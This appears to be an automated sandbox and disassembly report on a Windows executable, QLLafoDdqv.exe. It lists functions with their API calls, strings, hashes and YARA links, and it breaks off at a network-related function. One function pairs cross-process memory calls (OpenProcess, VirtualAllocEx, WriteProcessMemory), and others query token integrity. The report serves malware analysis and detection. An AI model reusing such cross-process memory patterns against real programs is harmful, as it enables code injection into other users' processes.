QueryPerformanceFrequency.KERNEL32(?), ref: 0073E9A5
Sleep.KERNEL32(00000000), ref: 0073E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0073E9B7
Sleep.KERNEL32 ref: 0073E9F3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: a062e0d54be5c442c9925c6900f1223f570fe923241d70a759d714fcdf92453e
Instruction ID: bc16ca5fbcbd681ea97c12ba5cb0701679c4cc1ded00a66a9ac2e129a9a9d960
Opcode Fuzzy Hash: a062e0d54be5c442c9925c6900f1223f570fe923241d70a759d714fcdf92453e
Instruction Fuzzy Hash: ED015B71C0162DDBDF04ABE4DC596EDBB78BB09301F004546E542B2282DB78A5518766

Function 007310F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00731114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 0073112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00730B9B,?,?,?), ref: 00731136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0073114D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: c52cb0ed7f343c6512b2faf2172b676ec72e470ff92063741e0a04a29604aee3
Instruction ID: 751f16a0af8128da62e7db3c9bcc28e4ff0baaa9f0ede3369ee2036e6d6e3743
Opcode Fuzzy Hash: c52cb0ed7f343c6512b2faf2172b676ec72e470ff92063741e0a04a29604aee3
Instruction Fuzzy Hash: F20181B5200309BFEB124F69DC49EAA3F6EEF85360F104414FA86C3350DB75DC008A60

Function 00730FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00730FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00730FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00730FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00730FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00731002

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: c0d5c37e8ee2e9bfba0e9ba87dbd487c5b454c2fe7ad603b557ca32c83a549b6
Instruction ID: 08779c8ab0c7360a32ca40ba0f0f60029bda0de70560245c4b9f817a8ac8b736
Opcode Fuzzy Hash: c0d5c37e8ee2e9bfba0e9ba87dbd487c5b454c2fe7ad603b557ca32c83a549b6
Instruction Fuzzy Hash: 66F06275200305FBD7264FA5DC4DF663B6DEF8A761F508414F986D7251CAB9DC408A60

Function 00731014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0073102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00731036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00731045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0073104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00731062

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 0f81a31bd8689fa68dc575c3425c8eeb05d34f62aca6fce8d24d84c54243a275
Instruction ID: c09f3ef9309ede120a19be1d42a9c14f587dbe8ba1e0c1e8c06833329bc06974
Opcode Fuzzy Hash: 0f81a31bd8689fa68dc575c3425c8eeb05d34f62aca6fce8d24d84c54243a275
Instruction Fuzzy Hash: 2DF0CD75300305FBEB221FA5EC49F663BADEF8A761F104414FA86D7251CAB9DC408A60

Function 0074030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 00740324
CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 00740331
CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 0074033E
CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 0074034B
CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 00740358
CloseHandle.KERNEL32(?,?,?,?,0074017D,?,007432FC,?,00000001,00712592,?), ref: 00740365

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: dabc9760f0d1e328b93be0c955742ab23f928549967abec637c6dfb23f06a861
Instruction ID: 3f6611560d59635a3a03326f2c90280cac5449067e5e6fd0d641e1f9ee46be24
Opcode Fuzzy Hash: dabc9760f0d1e328b93be0c955742ab23f928549967abec637c6dfb23f06a861
Instruction Fuzzy Hash: 6001AA72800B159FCB30AF66D890812FBF9BF603153168A3FD29652931C3B5A998CF80

Function 0070D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0070D752

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 0070D764
_free.LIBCMT ref: 0070D776
_free.LIBCMT ref: 0070D788
_free.LIBCMT ref: 0070D79A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 05bd93dfe6b6ff00b926000bcb69be2d69dab3930f38094c9fab66d70934ceeb
Instruction ID: 9dee420b74a19c28a0cf68e3014b8fe77ed44d2d56ce4267b9c84261ee963315
Opcode Fuzzy Hash: 05bd93dfe6b6ff00b926000bcb69be2d69dab3930f38094c9fab66d70934ceeb
Instruction Fuzzy Hash: 85F0FF33554304EBCA22EBA8F9CAC1677DDBB447107A55A06F048E7592C72CFC818AA4

Function 007022A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007022BE

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 007022D0
_free.LIBCMT ref: 007022E3
_free.LIBCMT ref: 007022F4
_free.LIBCMT ref: 00702305

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fcda286688f572c2476941eec2ee46e91bee4a3a2c3b8cdbb08364ee3692b88e
Instruction ID: 538939280bcdae49d0ffc4aac9c2f3564cc9ef2b9bbf295d0578a20915657fd0
Opcode Fuzzy Hash: fcda286688f572c2476941eec2ee46e91bee4a3a2c3b8cdbb08364ee3692b88e
Instruction Fuzzy Hash: A0F01D76520110CFCA12AF54BC099483AA4B75A750B918607F410E22F2C73C58129EEC

Function 006E95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 006E95D4
StrokeAndFillPath.GDI32(?,?,007271F7,00000000,?,?,?), ref: 006E95F0
SelectObject.GDI32(?,00000000), ref: 006E9603
DeleteObject.GDI32 ref: 006E9616
StrokePath.GDI32(?), ref: 006E9631

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 854d9afc285e5aeb5706be3b855f6f29f0a8b6c6dc84535a4e252d34981f427e
Instruction ID: b5ce68a412ee71cd8e1b9f91f7f512db826cc82eeeb8c7a37272f2fdb649e6c5
Opcode Fuzzy Hash: 854d9afc285e5aeb5706be3b855f6f29f0a8b6c6dc84535a4e252d34981f427e
Instruction Fuzzy Hash: 07F08C30006388EBEB165F26EC1C7B63B62AB82322F40C215F466561F0C7789995CF29

Function 00700F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 007010F9
__freea.LIBCMT ref: 00701117

Part of subcall function 00701537: _free.LIBCMT ref: 0070154F

Strings

a/p, xrefs: 007011DE
am/pm, xrefs: 0070117A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 8f9228bec59e0be2e21d2c6cf12a834855b76cb223000d622c16db28d5693851
Instruction ID: f59501ca3bff1eb1902d25173fea9d3145c05ce0c0111ec3d89762ef91c33f08
Opcode Fuzzy Hash: 8f9228bec59e0be2e21d2c6cf12a834855b76cb223000d622c16db28d5693851
Instruction Fuzzy Hash: 28D1E231A00206DADB289F68C895BFAB7F5FF06300FA44359E9419BAD1D77D9D80CB91

Function 007561D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 006F0242: EnterCriticalSection.KERNEL32(007A070C,007A1884,?,?,006E198B,007A2518,?,?,?,006D12F9,00000000), ref: 006F024D
Part of subcall function 006F0242: LeaveCriticalSection.KERNEL32(007A070C,?,006E198B,007A2518,?,?,?,006D12F9,00000000), ref: 006F028A

Part of subcall function 006F00A3: __onexit.LIBCMT ref: 006F00A9

__Init_thread_footer.LIBCMT ref: 00756238

Part of subcall function 006F01F8: EnterCriticalSection.KERNEL32(007A070C,?,?,006E8747,007A2514), ref: 006F0202
Part of subcall function 006F01F8: LeaveCriticalSection.KERNEL32(007A070C,?,006E8747,007A2514), ref: 006F0235

Part of subcall function 0074359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 007435E4
Part of subcall function 0074359C: LoadStringW.USER32(007A2390,?,00000FFF,?), ref: 0074360A

Strings

x#z, xrefs: 00756353
x#z, xrefs: 0075636F
x#z, xrefs: 0075633A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#z$x#z$x#z
API String ID: 1072379062-95117334
Opcode ID: 007c4ce0fe769edc934058690f9fdf1cf37f72434fbdb06bfc922d03a69b1c91
Instruction ID: 8b1edf8fdd13303a947bf98e78c5fdfb1ed04b986ba59170ab6b6999fc18f95c
Opcode Fuzzy Hash: 007c4ce0fe769edc934058690f9fdf1cf37f72434fbdb06bfc922d03a69b1c91
Instruction Fuzzy Hash: 03C17C71A00209ABDB14DF58C890EFEB7BAFF49310F508069F9059B251DBB9ED59CB90

Function 00708A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 00708B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 00708B7A
__dosmaperr.LIBCMT ref: 00708B81

Strings

.o, xrefs: 00708A63

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .o
API String ID: 2434981716-1957372423
Opcode ID: 27bc20ebc43ff8967df9d345e5f475be9bad67234389b4f5184bf7201c28b367
Instruction ID: 4b8cc92f4234fc1a2cf0ba61a188741f996c605d07aa566b67c6004a077d3e88
Opcode Fuzzy Hash: 27bc20ebc43ff8967df9d345e5f475be9bad67234389b4f5184bf7201c28b367
Instruction Fuzzy Hash: AF418CF0604155EFCB659F64C880A7D7FE6DF86304B2887A9F4C587682DE398C028795

Function 00732716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,007321D0,?,?,00000034,00000800,?,00000034), ref: 0073B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00732760

Part of subcall function 0073B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,007321FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0073B3F8

Part of subcall function 0073B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0073B355
Part of subcall function 0073B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00732194,00000034,?,?,00001004,00000000,00000000), ref: 0073B365
Part of subcall function 0073B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00732194,00000034,?,?,00001004,00000000,00000000), ref: 0073B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 007327CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0073281A

Strings

@, xrefs: 00732832

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: eac3997c4ef64c4269b5cdeff22c686b0cda9324d02086de95a1065d277f8673
Instruction ID: 0a9c8692b59d17b0ea48739fd9bb4e5d2040e7ad31b27f652f0bceb64923a82b
Opcode Fuzzy Hash: eac3997c4ef64c4269b5cdeff22c686b0cda9324d02086de95a1065d277f8673
Instruction Fuzzy Hash: 19412E76901218BFEB10DFA4CD45AEEBBB8EF09700F104099FA55B7182DB746E45CBA1

Function 0070172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\QLLafoDdqv.exe,00000104), ref: 00701769
_free.LIBCMT ref: 00701834
_free.LIBCMT ref: 0070183E

Strings

C:\Users\user\Desktop\QLLafoDdqv.exe, xrefs: 00701760, 00701767, 00701796, 007017CE

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\QLLafoDdqv.exe
API String ID: 2506810119-2112601532
Opcode ID: 8f219d75a4ff58c022a9be24b0c004762cd65d40b0b89a7f3044198a0faba532
Instruction ID: 6a91dd4f0997c32a4051d17be47ffe5fb5802b1ed42516ec18b0040fd737edcd
Opcode Fuzzy Hash: 8f219d75a4ff58c022a9be24b0c004762cd65d40b0b89a7f3044198a0faba532
Instruction Fuzzy Hash: 93318F75A00218EFDB21DF999885D9EBBFCEB85320F948266F50497291D6B88E40CB90

Function 0073C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0073C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0073C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,007A1990,01744FD0), ref: 0073C395

Strings

0, xrefs: 0073C2DF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 0aed95ff483f9672e61020b49c67e7d57b4b147433279959c10424b1bdf85d69
Instruction ID: 52404b56cc1800c8b4f3a20fb988fd5bce5d133b8ad8112c27d4d6a937269518
Opcode Fuzzy Hash: 0aed95ff483f9672e61020b49c67e7d57b4b147433279959c10424b1bdf85d69
Instruction Fuzzy Hash: 6A41B1312043019FE721DF24D885B2ABBE4AF85310F10861DF9A6A72D2D778E904CB63

Function 00764416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0076CC08,00000000,?,?,?,?), ref: 007644AA
GetWindowLongW.USER32 ref: 007644C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 007644D7

Strings

SysTreeView32, xrefs: 0076447C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 7708319bc41d90098ebf21d0d9d63f8a695fc6c4473551456fb7d89b8a62e06e
Instruction ID: bbcbfaec3b4b626f7807ba028c04e00a1d52810532d0e072372c81a13214ff0f
Opcode Fuzzy Hash: 7708319bc41d90098ebf21d0d9d63f8a695fc6c4473551456fb7d89b8a62e06e
Instruction Fuzzy Hash: 5231B031210245AFDF218E38DC46BEA7BA9EB09334F204319FD76A21D1DB78EC609B54

Function 00736E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00736EED
VariantCopyInd.OLEAUT32(?,?), ref: 00736F08
VariantClear.OLEAUT32(?), ref: 00736F12

Strings

*js, xrefs: 00736E8B, 00736E90, 00736EF8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *js
API String ID: 2173805711-2626009487
Opcode ID: 0d75b4065e026734700bb5360326a6fc620bdca79412f94b3b0d024d0dbca17e
Instruction ID: 48b268d46495c9335c4d7145dbfba7f0ec4550f085271a6b035fd0b0a9ba48e8
Opcode Fuzzy Hash: 0d75b4065e026734700bb5360326a6fc620bdca79412f94b3b0d024d0dbca17e
Instruction Fuzzy Hash: AE31D371A04246EFDB05AF64E8509BD3776FF40700F108499F8065B3A2CB389911DBD8

Function 0075304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

